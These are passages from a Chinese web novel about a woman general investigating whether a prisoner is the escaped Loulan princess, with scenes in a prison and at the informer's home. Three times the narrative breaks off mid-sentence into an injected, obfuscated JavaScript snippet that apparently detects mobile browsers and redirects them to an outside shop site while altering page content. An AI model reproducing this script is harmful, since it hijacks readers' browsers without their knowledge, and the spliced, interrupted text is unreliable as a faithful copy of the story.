两人都保持着原来的姿势没动,宁淮看看她又看看他,敏锐的捕捉到了微妙的气氛,尤为好奇地:“怎么,二位这是认识?” “不认识……”戚姮接着就问,“阁下是?” 夏怀微才意识到自己的失态,表情一变,挂上个浅笑:“在下供职谏议院,右谏议大夫,姓夏,字怀微。” “瞧见世子,总觉与故人相像,一时失礼了。” 夏怀微这般开口太过直接,戚姮微妙地一挑眉。 她不禁心想这到底是汴京新流行的问候语,还是自己长得大众脸。 怎么一个两个都这个样。 夏怀微侧身让出了一条道,戚姮垂着脑袋从旁绕过,也没把疑惑问出口,只道:“小公爷说笑了。” 波斯人生来体型就要比中原高上一大截,戚姮铁随那边,身形高挑。距离忽然拉近,夏怀微瞄她一眼,正正好好快要到自己眉毛。 发如晖光,眉眼深邃,这就是夏怀微对她的第一印象。 身上罗裙浅黄嫣红,妍姿艳质,倒是少见十六岁就长得不显幼稚,反而偏明艳的小姑娘。 夏怀微转身跟了上去,讶然问道:“世子认得我?” “汴京城里姓夏的人家,不就只有柳国公府。” 戚姮的书架都还摆着夏怀微他爹十几年前写的治国论,一本就着当年社会风气针对性地建议性质思想理论文章。 研读完后只觉的确言词犀利,针砭时弊,让她记忆颇深。 “更何况论辈分,我该称呼你一句……表舅来着。”戚姮落了座,“自然是识得小公爷的。” 夏怀微一怔,不确定道:“我?” “是啊。”戚姮说,“不过关系已经不太近了,也仅是辈分而已。” 夏怀微飞速在脑中思索什么时候还和定远侯家攀上亲了。 天色这么晚不宜久留,一直拖着不回家恐怕都赶不上落锁。 “以后有空再聊这些吧。”等他们二人也都也都坐回各自位置,戚姮不给他时间去想,直接进入了今日主题: “宁将军。我听送来的消息说这楼兰余孽本是应家亲生的小姐,就有一事不解。既是亲生,又为何会被指认成楼兰的公主?” 宁淮早有准备,挥手喊人送上东西。 小厮端着木盘在暗处备了许久,忙不迭上前将那卷轴献上,宁淮拿过,当着戚姮的面给展开,细细讲解道: “当年剿灭楼兰叛党时,是得了要将王室一百五十八口人命斩草除根的命令,以免春风吹又生。” “尽管军队已经将王宫上下围了个水泄不通,也还是出了意外。” 宁淮回忆着:“我们在最后清点发现少了一具尸体,目标人数太多,又几乎都在刀剑乱战下毁了容,脸也对不上号,一时之间也不知道到底少了谁。” 这卷轴实则就是副半身肖像,十几年过去纸张有些泛黄,保存的却不错,没有丁点损坏。 细看去,画的是个小姑娘,十岁左右的模样。发型、饰品均都是楼兰的特色,面庞青涩,神韵有些许紧张。 “还是放走这公主的侍卫为了活命主动供的名讳——赫连般若。” 宁淮走近,将画像递给戚姮,接着道:“这便是从王宫中搜出来的画像,底下的署名是楼兰语,正写着赫连般若的名字。” 戚姮拿在手中细细端详了一番,十岁的小女孩与二十多岁的年轻女子相貌应当大相径庭。只有这副画像的话,也很难确认现在那个被抓的应小姐是“赫连般若”本人。 她突然意识到什么,抬头问:“三舅舅要不要看上一眼?” 夏怀微对这声“三舅舅”有些陌生,额角轻微跳动,调整好表情,才道:“官家安排的意思是让我在旁辅佐着世子,并不参与做重要决策。念着你头回断案,或有不解生疏之处,才特派我来。” “世子尽管自己看便是,有不懂的地方夏某再来解答。” 戚姮思索片刻,这夏怀微看着怎么也得二十七八了,谏议大夫又是言官派的扛把子,懂得多些也无可厚非。 赵繁英差他过来,估计真是为了让他在旁提点一二。 “有劳了。”她表示理解,接着道,“宁将军请继续讲罢。” 宁淮点了点头,顺着刚刚的话延续下去:“赫连般若刚跑没多久我就下令封城搜索,又请人复刻画像,贴告示通缉,通通一无所获。” “后来扩大范围,将楼兰边境的村庄、城镇也都贴了告示,再渐渐贴满全国。但这赫连般若自逃走后就像人间蒸发了,再没听到哪怕一个字的消息。” “期间倒也有百姓逮到了几个楼兰人,报案后我们去看,基本上一眼就断定那不是她。” 宁淮继续说:“这位应小姐家中情况就比较特殊了,她父亲是个商人,富了好几代,不贪财只好色。外室不少,多是些伶人乐伎。子嗣也就更多,足有三十二个。” 戚姮在心底小小震惊了一把。 怕是猪崽子都生不了这么多吧。 “他家正妻不愿看到这群私生子,更烦那么多姨娘同聚一个屋檐下,所以应老爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁淮就像是听到了戚姮内心所想似的,道:“应小姐这娘,名曼文,进了教坊司后赐的,也不是原名。至于为什么突然向府衙检举女儿,她给的解释倒也还有些理可信。” 宁淮说:“因为真正的应小姐早死了,应老爷肯养着曼文就是念在她生有一女的份上,塞到外头住着,吃穿不愁。” “但奴籍未脱,于情理还是应府的人,若被发现她傍身的女儿没了,依照应老爷的性格肯定就不管她、随便发卖了。” “所以曼文两眼一闭就当不知道,默许了这事儿,有个上赶着来的女儿保她富贵,还能随便使唤,划算。” 戚姮神色未变,眼底思绪藏在眉骨洒下的阴影中,模糊看不清,唇角绷成了一条直线,显得冷漠。 晃动的烛光拖长了她的侧影,半张脸都隐进昏黄,雕刻般的侧脸线条利落,棱角分明。 “差不多就是这些。”宁淮讲的有些口干,“世子还有什么疑问吗?” 将这些信息顺了一遍,戚姮心中已经大概有个谱了,她问:“陛下的意思是让我审出来应小姐的真实身份就行,还是要一网将楼兰余孽彻底斩草除根,再没有隐患?” 宁淮看向夏怀微:“小公爷或许知道。” 夏怀微一晚上了都在端着茶杯,静静聆听,闻言冲着戚姮答道:“陛下只让世子查明真相即可,剩下的自有开封府去解决。” 戚姮点了点头,又问:“应小姐如今在什么地方?可否方便一见?” “这个……”宁淮迟疑道,“时辰不早了,开封府衙未免肯放人问话,要不世子还是明日再见。” “在开封府衙。”戚姮也不与他多废话,“二位大人请自便吧,我就先告辞了。” “……” 8. 开封府衙【二】 开封府晚间值守的衙役并不多,这个点也早过了可以审讯的时辰,戚姮使了些银子,让小吏指了路,不难为他们,自己拿着钥匙进到了府衙地牢。 四月份早就暖和不少,大多都换了轻薄的衣衫,却在进到这条甬道的瞬间,戚姮感受到一阵扑面而来的湿冷寒意。 这里狭小逼仄,她总觉得但凡长得再高些就能撞到房顶,周身静谧一片,隐隐约约能听到从远处牢房里飘来的声响。 她未带火把照明,仅凭方才小吏口中描述的路线摸索着走,转了几个弯,便来到了牢房门口。 都说天牢关押死刑犯,地牢关押重刑犯,还真是这个样。 地牢里面没有窗,连通风散味都成问题,有些令人作呕的臭味混杂着霉味充斥每个角落。 还好戚姮在军营里待过,闻多了打完仗后熏天的汗臭与血腥味,也不算太难忍受。 她走过一间间牢房,眯起眼观察哪个才是今晚她的目标。地牢关押的人也不多,排除了四个男人,第五位便是个年轻姑娘。 这连栏杆都是厚铁皮,戚姮停在牢门外,墙上燃烧的火把模糊地照亮眼前。 戚姮的到来惊醒了里面的女子,只见她慌忙从干草上坐起,向后挪动几下。借着丝丝明亮辨清来者有瞬间的呆滞,紧绷的双肩明显放松些许。 戚姮试探问:“应如是?” 她靠着墙壁一言不发。 “方便聊聊吗。”戚姮拧开锁,铁栅栏应声打开,隔着几步远俯身蹲在她面前,“就占用你一点点的时间。” 她还是僵持着不动,眼珠黏在戚姮脸上,直勾勾的不加掩饰。盯了半天,兀自笑了一声:“我还以为你是……” 戚姮追问:“是什么。” “一个陌生人。”她轻描淡写道:“你和他长得有点像。” “……?”戚姮被这突如其来的一句话打得不知所措。 第三个了,一周之内已经有三个人说自己长得像另外的人。戚姮都闹不明白他们三个说的到底是同一个人,还是不同的三人。 “我长得有那么大众吗”的疑惑窜到戚姮脑海中,只觉匪夷所思。 “但他已经死了。”应如是表情未变:“所以你是谁。” 戚姮的思绪被强制打断,回过神来,道:“我叫草蛾,飞蛾的蛾。” 要说“戚姮”,名声早在一年前战况传回来时就打响了,为首带头抗击北凉异族的那个,知道的人太多。万一她真是赫连般若,楼兰的处境也不比北凉好到哪去,再让她瞻前顾后,顾忌太多不肯开口说话就不好了。 话到嘴边,戚姮就把字说了出来。 戚砚脑子里没几点墨水,据说是取字是看见了围着草丛飞的扑棱蛾子,喜欢这虫子不怕死又活的顽强,遂这么拍板定下。 天天小草、草儿的喊,戚姮看在他都叫“戚叶儿”的份上也不惜得计较了。侯府祖传的起名废没办法,还蛮符合民间贱命好养活的习俗。 应如是没反应,更没深入地问下去,只道:“有事吗?” 戚姮盘腿坐到了她的对面,沉声道:“我有几个问题。” “不用问了。”应如是仰头倚靠着墙:“我是赫连般若。” “……” 戚姮不敢相信这案子这么快就审出了结果,挪近了些,细看清了她身上的血痕:“你是施以重刑拷打后被迫认的罪,还是别的。” “看你有缘,说就说了。” 戚姮敏锐捕捉不对劲:“什么意思,你只对我说?” “难不成还想让我签字画押,向所有人都承认我是谁?”赫连般若戏谑道,“我偏不。你们说我是,把我抓来,那你们就自己想办法。” 戚姮蹙眉,听这意思她压根不怕身份暴露,只是成心想让府衙的人再费时费力去调查。 只要赫连般若不亲笔签字承认,这案子就不算完,就戚姮一人知道,确实不起任何作用。 戚姮反倒生出几分兴致,问:“为什么只对我说。” “一个女人有能力深更半夜跑来地牢,你来头不小。是这案子的主审吧?” 赫连般若打量着戚姮:“瞧你这张脸不爽。想让你知道,但束手无策。” “……”戚姮笑了两声:“我现在信你是真楼兰人了。” 赫连般若一滞。 “中原与你们楼兰不同。皇权至上,官大一级压死人。我若是主审,你对我承认的那刻就已经定罪了,何须再要字据?” “你的聪明用错地儿了。我现在出去对他们说你招认了一切,都没人敢有异议。”戚姮歪头凑到她脸前,看清了赫连般若面上的惊愕,好整以暇地道,“失策啦?” 赫连般若唇角紧绷,一言不发。 戚姮重新坐了回去,态度很是散漫:“听说你这几年老实本分,也没做什么伤天害理的事。给你个机会,答好了,顶多判你入宫充奴,留你条命。若是胡言乱语,抗拒审问,那就直接等着问斩吧。” 她凌厉的目光“嗖嗖”射了过来,戚姮没受到半分影响,笑得还更开心了:“怎么样,划算吗。” “全族上下死的就剩你一个了,想来你也是一直憋着气,还想着什么报仇雪恨……给你个机会活着进宫。” “能不能把握住就随你喽。”戚姮耸肩,“要我,我肯定先活着再说。” 赫连般若眸中掠过一丝迟疑,有些看不透戚姮了:“你就不怕我进宫后毒死你们的那位天子?” 戚姮脑中还真浮现出了赵繁英的脸,咂了下嘴,由衷感叹:“你要是能把他毒死,也算你的本事。” 牢中恢复了寂静,隔壁睡下的犯人呼噜声此起彼伏,扰得赫连般若更烦了。 “你想问什么?” 戚姮答:“既然你是赫连般若,倒省了我许多口舌。我就问问你从楼兰逃出来的经历吧,以及,与你的养母曼文发生过什么。” 提起“曼文”,赫连般若的面色果然变得难看起来,戚姮就当没有察觉,继续道:“我还挺好奇的。这么多年来你们相处的都挺融洽,相安无事,到底发生了什么,会让她突然改变主意,把你供了出来。” “是钱?还是你们发生了争执?” 赫连般若斜睨过去,半天听不见她的回答。戚姮也不急,静静注视着这公主的眼睛,等待着她的答案。 半晌,她还是闭口无言:“反正我家一百多口人命早就葬送在你们赵氏皇族手里,多我一个不多,请便。” 戚姮嗤笑:“行。大不了我去问曼文,她应当挺乐意说的。” 哪知赫连般若在听到这话后忽地情绪激动起来:“不许去找她!” 戚姮道:“干什么?你不说还不允许别人说?” “别跟我提这个女人!”赫连般若咬牙切齿地一挥手,怒喝:“从她嘴里说出我的名字我都嫌恶心!你要是去找她,我现在就一头撞死在这里。” “我要是死在这你就麻烦了。”赫连般若瞪着她,“不信你就试试。” 戚姮面无表情地盯着她,赫连般若面上太过从容。没被戚姮的话给吓唬住,反而还威胁了起来。 黑瞳仁里赤裸裸的笃定让戚姮看了个明白,心底思绪纷乱。 这几日发生的事堪称诡异。 一,戚姮闹不准自己到底与谁长得如此相像,以至于没什么交集的三个人都能异口同声地说出同一句话来。 二,赫连般若对曼文的反应如此剧烈还有个具体原因,为什么会对同样长着戚姮这张脸的那个人也蕴藏着恨意。 三,赫连般若瞧见戚姮就肯说了,但不肯对外头的人承认,是报复吗?报复的到底是谁? 当下她又说了这么一句没头没脑的话,到底有没有意义。 还是单纯和戚姮一样,只是说句假话诈一诈,打的就是心理战。 戚姮垂眸敛下眸中思虑,看她这样也不像能问出什么东西,今晚的谈话到此就差不多了。 “行啊。”戚姮站起身:“我等着你自戕的消息。” 戚姮离开的迅速,待赫连般若反应过来时已经关上牢门上了锁。她目送着戚姮扭身离去,几乎是撞在了门上,“哐当”一声响,赫连般若双手紧紧握住冰凉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531457|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁栅栏。 赫连般若对着戚姮的背影喊道:“你不许去找她!我警告你!” 戚姮揉揉脑袋,到点了,意识都开始昏沉起来了。 她顺着来时的路往回走,却总觉得哪不对劲,抬头向周围张望,缓缓停住了脚。 这地方没来过。 但走的路是对的。 戚姮每次都能在茫茫草原中精准锁定北凉的营帐,全依靠她强悍的方向感知能力。看过一眼地图,就能在被冲散之后带领队伍绕过座山再回到燕军阵中,绝不可能出现回去的路拐错了这种情况出现。 她继续向前走,忽地脚步调转向左侧去,快跑几步。在这团黑影消失躲在转角拐弯处之前一把扯了过来! “是不是你做的手脚!” 黑暗中依稀看得出是个身形高挑的男人,戚姮方才模模糊糊就听到了他稍显急促的脚步,辨清了方位追上去就是一脚,踹得他砸在了墙上,闷哼随着撞击声一同响起。 戚姮使了七分力,一般人受不了她实打实的一脚,就这都踹得男人窝在地上,捂着胸口缓不过来。 “谁这么大胆子大半夜跟踪我到这。”戚姮一手把他薅了起来,膝盖抵在他的小腹,抬到脸前定睛一看—— 前几日,也是这般黑咕隆咚的环境下见到的这张脸,一双记忆点颇深的狐狸眼此刻含着些许痛苦,惊恐地看向戚姮。 戚姮先是一愣,随即拍了拍后煜的脸:“呦。后大人,睡不着出来散心呢?” “……” 后煜被讽刺的颇有些无地自容,胸口的疼痛阵阵袭来,他整张脸的表情变了又变,才从唇角边挤出话来:“我只是路过。” 戚姮觉得被侮辱了智商:“你是不是以为我是白痴?” “我没骗你。”后煜的领口还在戚姮手中,被踹了一脚长了大教训,不敢造次,连话都不敢大声说,“开封府尹,姓后。” 戚姮呆了呆:“你是开封府尹?” 后煜:“我是太府寺卿。” “那你说个鸡毛掸子啊?” 戚姮一副被耍了的气急败坏,还想揍他。后煜连忙抬手挡在脸前,下意识就向一旁闪躲,身上还在发抖。 后姓罕见,估计全汴京也就开封府尹那么一家。 开封府衙的最高长官便是府尹,这男的也姓后,怪不得能跟到地牢…… 那巴掌还是没落下去,戚姮烦躁极了:“甭管你是谁,你到底做了什么手脚,为什么我走不出去这地牢?” “你出来时不小心碰到机关了,这是条暗道,不通大门,通向外街。”后煜解释道,“我在外头听到动静下来查看,就碰着你了。” 是听说过这种地方都会再安排上机关,延伸出密道,作关键时刻应急用。 戚姮想不起来出来时到底碰哪了,居然能启动这玩意儿,默默吐槽起来未免设置的也太不安全了。 她将信将疑地:“那你鬼鬼祟祟跑什么?” “我看见不是犯人越狱就走了,正摸索着出口,你上来就把我打了一顿……” 后煜揉着胸口,面上露出匪夷所思,又有点委屈:“连解释的机会都没有。” 戚姮瞧着他,表情不像作假。 要真是府尹家的人的确没必要做手脚,身上没带利器,一摸就不是练家子,又在朝中身居从四品高职,就算是刺杀也派不上他来。 戚姮挠了挠脸,气氛一时间尴尬起来。 “那个……”戚姮眨了眨眼,后煜背靠着墙,跟她瞪着眼,“不好意思啊。” 戚姮这才松了手,脸上扯出个笑。抚平后煜颈周被她抓皱的领口,一改刚刚盛气凌人的态度,又掸掉他胸口的鞋印:“真是唐突了,失敬失敬。” 后煜身子绷直着,丁点不敢动。 “今日多冒犯,还望后大人见谅。”戚姮一拱手,“改日我必带上厚礼登门道歉赔罪。” 后煜推脱:“那倒不用。” “用的用的。”戚姮“呃”了一声,毕竟还有求于人:“后大人,不知这出口在何处啊?” “……” 9. 开封府衙【三】 黎明前就淅淅沥沥滴答的小雨蒙了整座城,黑云积着,泄不出一丝天光。 天刚亮到能看清些路,这雨就跟故意作对似的越来越大,糊了视线,与不亮也没区别。 雨点打在青石路面,墙头瓦舍,繁急响亮,宛若琵琶粗弦弹奏。 初夏的早雨天湿冷,不留神一脚踩进聚集的水洼溅起水花,沾湿衣裙鞋袜,脚底的寒便蔓延上全身。 曼文拖着手中盛满了水的木桶,从井亭回家的路上三步一歇。 实在太重了。 迎面刮来一阵疾风,裹挟雨点子砸到脸上,连带着她空不出手、只能歪头用颈间夹紧的油伞也不受控制要飞走。 本能盖过思索,曼文当即就要扔了木桶去捞伞,却从后率先伸出一只手,抓住伞柄稳稳当当给她撑了回去。 木桶落地,“噔”的一声巨响,倒是稳当,也没洒出一滴来。 曼文受了惊吓迅速转身,向后退了好几步,方才看清了来人。 发丝高束,黑金劲装,一条红松石抹额箍在脑上,长相奇异,衣着不凡。 曼文收回视线,有了思索,眼下先行了一礼,规规矩矩地:“多谢公子。” “我帮你抬吧。”戚姮也不多废话,伸向木桶的把手,赶在曼文阻止之前抢先一步问:“姐姐,你家在哪?” 曼文听她说话陡然一愣:“女公子?” 戚姮低头瞅瞅自己,问:“我长得很像男人吗?” 显然,她没有女扮男装的意思,自然不能说像。曼文连忙摇头:“……是我看走眼了,实在不好意思。” 戚姮长得高,今日路上积水也多,罗裙不便,就换了身利索的锦袍,身形被修饰的矫健挺拔,气质不凡。 城镇内估计也很少能看到她这般眉宇间萦绕着冷峻气质的女子,长得又高,一时之间被错认了很正常。 戚姮笑了笑,一手撑着自己的伞,一手提着那木桶,半分勉强之色都没有,像提了两个苹果:“没事儿,出门在外打扮的模糊些,让人认不出是个姑娘,能避些歹人。” 曼文有些警惕生人,只想带着水桶赶紧回家,可自己又实在搬不动。见戚姮是个女子,笑的还和善,稍稍放下了戒备:“还是我来吧,姑娘你别累着。” 戚姮说:“累不着,姐姐快带路吧。” 曼文果真不再坚持了:“那好……” 各个巷子之间缠绕,挨家挨户长得也都差不多。低矮的瓦房,带着个小院子,隔着木门还能听到里头传出来的鸡鸣狗叫。 今日下雨,上街摆不了摊,也没必要再下地务农。老百姓都关上门在家呼呼睡大觉,时间都随着慢了下来。 今早刚下朝戚姮就着急忙慌回家更衣,紧赶慢赶,总觉着来晚了。运气不错,恰好碰到曼文打完水欲要归家。 不说话也怪尴尬的,只能听到雨点子落地的声响。戚姮在脑中迅速组织了一番语言,主动开口打破沉寂:“姐姐家中就一个人吗?这桶水这么重,怎么没人帮你一起提?” “我丈夫死的早,家中就一个女儿,还小,来了也白来。”曼文语气平稳,说的也流畅,看样子像是常年在嘴边挂着这套说辞,对谁敷衍。 “从前我和我女儿两个人才能抬动,你这一只手提着,连气儿都不喘。姑娘劲可真大。” 戚姮也编:“在家帮忙经营些生意,练了几手,练着练着劲就大了。” 曼文“哦?”了声,问:“家中可是铁匠?” “差不多吧。”戚姮糊弄道:“练剑的。” 曼文与想象中的不同。 她的眼角已经攀上了细纹,却不显老,皮肤也不糙,不像种过地干过累活的样子。 戚姮得来的消息说曼文周岁不过三十八,应老爷又是个好色的,年轻时模样不漂亮的伎子都入不了他的眼。 因着不缺钱,也舍得花钱,想来也没让曼文吃多少苦,依稀能看出些许风韵。 前几日听宁淮讲她,又差人盯梢观察了两天,总归了解的不全面。 今日真正亲自接触下来,才知曼文是这般举止得体的女人。温婉娴静的气质怎么都和宁淮口中“大字不识”的形象勾不到一起去。 不过,可以解释为从府中出来的懂些礼数。 到了曼文所处的小宅子,戚姮随她一起跨进院子,将水桶搁在她说的位置,抖了两下伞上的雨水,方才进屋。 堂屋略微显得些许杂乱,原本该在院子摆着的许多东西都被她搬进了屋,估摸着是没有防雨的油布。 曼文简单拾掇了几下,搬出了仅有的一张凳子:“姑娘你先坐,我去给你倒些水来。” 戚姮绕过屋中的物件,坐下的前一瞬还想问刚打的水没烧哪来热的,下一刻曼文就带着暖水釜回来了。 “谢谢。” 捧着瓷碗正好能暖手,戚姮抿了两口,随口问:“姐姐何不等雨停了再去打水,衣摆湿了,还要换下再洗。” 曼文提起衣裙瞧了两眼,并不在意:“家里到处是用水的地方,这雨不知何时才能停,等不了太久。衣裳应该很快就干了,不用换。” 戚姮关心了句:“容易染风寒的吧。” 曼文笑了笑:“家里没衣裳可换,我就这么一件。穿脏了洗,晚上晾干了第二天再穿,常有没干透的情况,不碍事。” 戚姮动作一僵:“是我思虑欠缺了。” 曼文还未来得及说句话,从里间便传来了小孩子的呢喃,口齿不清的喊着“娘”,她道了声“抱歉”,步履匆匆向着里头去。 戚姮人都傻了。 不是说曼文只有应如是一个女儿吗? 喊娘的那个又是谁? 思虑之下,戚姮后脚就跟了上去。站在门口,也不用离得太近就看清了到底是怎么一回事。 “怎么又起烧了……” 曼文心烦意乱地自语了一句,床榻上的小女孩因为太过难受,抓住她的领口就不住地哭,哭一声还咳好几下,要往曼文怀里钻:“娘,你回来了。” 曼文想要推开小女孩的手停在半空,又将她紧紧拥住了:“娘回来了,黛儿哪难受。” “哪里都好难受。”名唤黛儿的女孩搂住曼文的脖颈:“姐姐还没有回来吗?家里没有人,我好害怕。” 曼文支吾半天:“你姐姐她,她还要过几天。黛儿先松开,让娘去给你熬药好不好?吃完药就不难受了。” 黛儿哭着摇头:“不要,我不要。姐姐怎么还不回来?” 情绪太过激动,黛儿猛烈地咳嗽起来,恨不得将肺也咳出来。听得曼文也跟着心疼落泪,抚顺她的后背,无助地道:“不吃药怎么行……” “来,我来。”戚姮放下端来的盆,里头漂着一块白毛巾。 她蹲下身,将毛巾拧干后对呆愣的曼文说:“盆是在屋里找的,看样子就是洗脸盆,我就拿了。姐姐先去给黛儿煎药,我来照顾她。” 曼文错愕地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531458|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前:“你……” “快去吧,照顾病人我有经验,放心。” 曼文连忙擦掉泪,附在黛儿耳畔嘱咐了两句,让出位置给戚姮,语无伦次地:“太感谢你了……姑娘,我……” 戚姮:“待会再说。” 曼文眼含感激地冲戚姮点头。 戚姮顺势坐到床边,接替了曼文的位置,任由黛儿的抓住了衣裳布料,伸出一只手托着小女孩的身子,稳稳当当地,轻声问:“你叫黛儿,是不是。” 面对生人,她就不太好意思哭了,挂着两行泪,睁着大眼睛仰头看向戚姮:“嗯……” 湿毛巾擦过黛儿的脸,戚姮继续转移她的注意力:“你姓什么。” “我姓,裴。” 裴? 戚姮面上不显,给她将糊了满脸的泪痕擦干净后才问:“叫裴黛儿?” 她应声:“嗯。” 戚姮解开裴黛儿的衣裳领子为其散热,指尖触及到小姑娘的锁骨,的确烧的严重,烫手得狠。 “你知道我是谁吗。” 这下裴黛儿连哭声都没有了,好奇心全被勾了起来:“不知道。” 戚姮说:“我是你姐姐的朋友。” 这招果然好使,裴黛儿眼眸一亮:“你认识我姐姐?” “是啊。”戚姮张嘴就诌,眉眼弯弯地,笑得温和:“她现在有事儿回不来,所以托我过来照顾你几天。” 裴黛儿被哄的有了些喜色:“那姐姐什么时候回来呀。” “……”戚姮挂着笑容,良久后道:“或许很快吧。” 裴黛儿似是在说给戚姮听,又像是自言自语:“姐姐答应过我,会治好我的病,不走。” “娘亲总说姐姐不回来了,我就说她不会走的。” “现在……现在我就放心了。” 曼文不是刻薄尖酸的性格,从裴黛儿零星几句话中也能听出来她们母女三人曾经的关系还不错。 要说戚姮那天还有几分怀疑真假,那现在就百分百确定牢里关着的是真赫连般若了。 这么好的一家人,曼文若没有七成以上的把握压根不会去报官,将她揭发了出去。 看来,裴黛儿就是曼文一定要检举赫连般若的原因了。 一个常年病体的女儿,看病吃药都是个麻烦。她需要钱。 戚姮深吸一口气,将毛巾搁在裴黛儿的额上,缓缓说道:“无论你姐姐回不回来,都要先听娘亲的话。等她忙完了,再进她怀里哭,怎么哭都行。” 裴黛儿点点头:“这也是姐姐说的吗。” 戚姮哄道:“是的,她让我告诉你的。只要你乖乖的,她就早点回来找你。” “好。”裴黛儿应,“我会乖的。” 戚姮欣慰地捏了捏她的脸。 裴黛儿枕在戚姮的胸前,发烧难受得紧,咳嗽声就不曾断过,滚烫的小身板把戚姮都捂得热腾腾的。 等到曼文端着煎好的药赶来卧房,裴黛儿已经睡着许久了。 戚姮枯坐了半个时辰,怀中搂着个孩子,表情空洞,躯体麻木。瞥见曼文才动了下,后颈发出“咔咔”两声脆响。 “辛苦你了姑娘。” 曼文又是感激又是抱歉的,刚熬好的药还太烫,得等会才能喝,她放在床头的柜子上晾凉,不急于一时。 曼文先接过裴黛儿,轻轻放回了床上,掖好被子。 戚姮终于得以起身活动几下筋骨。 10. 开封府衙【四】 刚转出巷子,戚姮最后一片衣角就消失在了眼前。 他揉了揉眼睛,确定只是瞬间就跟丢了。连忙追到那条巷口,探着脑袋,鬼鬼祟祟地东张西望,愣是没发现任何踪迹。 迷茫从心底升起,他攥紧伞柄,仰头向各处青瓦房瞧了一圈。 这么大个坊巷,七绕八拐,把戚姮跟丢了可该怎么出去。 一转头,戚姮正悄无声息地站在身后。 戚姮伸出小臂抵着他的脖颈,逼退至墙壁,牢牢箍着,只给他留出一丝可以呼吸的空隙:“偶遇一次能说巧合,后大人,三次了。是咱俩太有缘分,还是你阴魂不散?” 后煜错愕地看着突然出现在眼前的人,答非所问:“我没有跟踪你。” 戚姮面无表情道:“不打自招?” “……” 后煜面上懊悔之意加深,梗着脖子辩解道:“我只是迷路了。” 戚姮静静直视着后煜,看表情压根没信他的鬼话:“你来干吗的?” 他嘴硬道:“就许你来,我不能来?” 戚姮自顾自先走一步,声音远远飘去:“活该迷路。” “你走了我怎么办。”后煜喊了声,急忙跟上去,跟在她的身后偷偷瞄了好几眼,“这还没几天过去,你就这么冷漠了……” 戚姮淡然回道:“我合理怀疑你上次也是在跟踪,还需要给你好脸色看吗?” 后煜否认:“上次真不是。” 戚姮道:“那这次真是了。” 后煜默了默:“……这次也不是。” “我警告你。”戚姮停下脚,指着后煜的鼻尖,“不管你出于什么目的,下次再跟踪我,我就拿剑捅死你。” 威胁一通后他终于消停了,压根不敢怀疑戚姮这话真假,跟在她的身侧走出这处坊巷,连话都没再吭一个字。 顺着主街走了一段距离,戚姮缓缓顿住步子,后煜只顾低头看着脚下,一时不察,撞上了她的背肩。 两把伞相碰,洒下水珠一片。 戚姮转过身:“这都出来了,你还跟着我?” “对不起。”后煜长的不矮,垂下脑袋正好能和戚姮对上视线,不敢直视只能主动移开了眼,说话跟蚊子嗡嗡似的,“我不该跟踪你,态度又这么差。” “听不见。” 后煜深吸一口气,戚姮以为他马上要气急败坏甩袖离开,就听他字正腔圆地说:“对不起,我的确不该跟踪你到这里。” 阴云压到脑袋顶,周遭一片青灰,连同他的脸色都衬得苍白几分。 那天在地牢后煜就戴着耳上的赤珊瑚珠坠子,现在正随着他说话微颤。 戚姮的注意力被晃悠的珠子勾了半天,心想早晚要把这家伙的耳洞堵住,省得天天就戴些骚包的东西乱转。 “算了。”她挥挥手,“反正不是什么大事,你走吧。” 戚姮刚准备迈步离开,手腕忽地被攥住,她不解地望着后煜,只见他意识到不妥,连忙松开了手。 后煜掐了掐掌心,道:“那个……我今日清闲。” “看出来了。”戚姮点头,“然后呢。” “太府寺每日要清算的账目很多,下次再有空闲时间可能就是很久以后了。”后煜试探道,“所以今天,可不可以请你去樊楼,小坐片刻。” “……”戚姮面带古怪地斜睨着他,后煜只看向别处,双手慢慢绞到一块儿。 · 三楼窗台伸进一枝粉玉兰,戚姮撑着脑袋瞧,它正在雨中颤动。 樊楼底下太过吵嚷,置身三楼正好,隔绝人声鼎沸,又能依稀听清对面的说书声。 ——正绘声绘色地讲述着攻占幽州前的最后那战。 “京中这几家酒楼请人把前线的故事润色了几遍,讲了快一年。”后煜顺着戚姮的视线向对面望去,“原先是讲你,呼延达旦死了以后,就讲你与他。” 戚姮哼笑:“我还是个名人。” 后煜收回目光:“自你于军中摆擂的消息传回来,就在汴京出名了。攻下幽州,立下奇功之后,整个大燕便无人不知,无人不晓。” “那姓解的为什么还说没听过我名字。”戚姮惊疑道,“到现在我还以为我真的无人问津。” 后煜有些不自然:“他怎么说也是你的政敌了,总不可能说什么好话。” 戚姮想想也是:“先传回来的风声居然是我在军中摆擂,那我名声应该也没多好。” “嗯……在朝中没好过,民间没差过。” 后煜捞起筷子,埋头吃起来倒不客气:“百姓不管别的,只要这人有故事,就喜欢听人讲故事。好坏参半吧,民间都封你是常胜将军了,当官的还在较劲你到底能不能做官。” “那你是怎么想的?”戚姮忍不住好奇,“你不像他们那样,对我有很大的敌意。” 后煜说:“我也是百姓。” 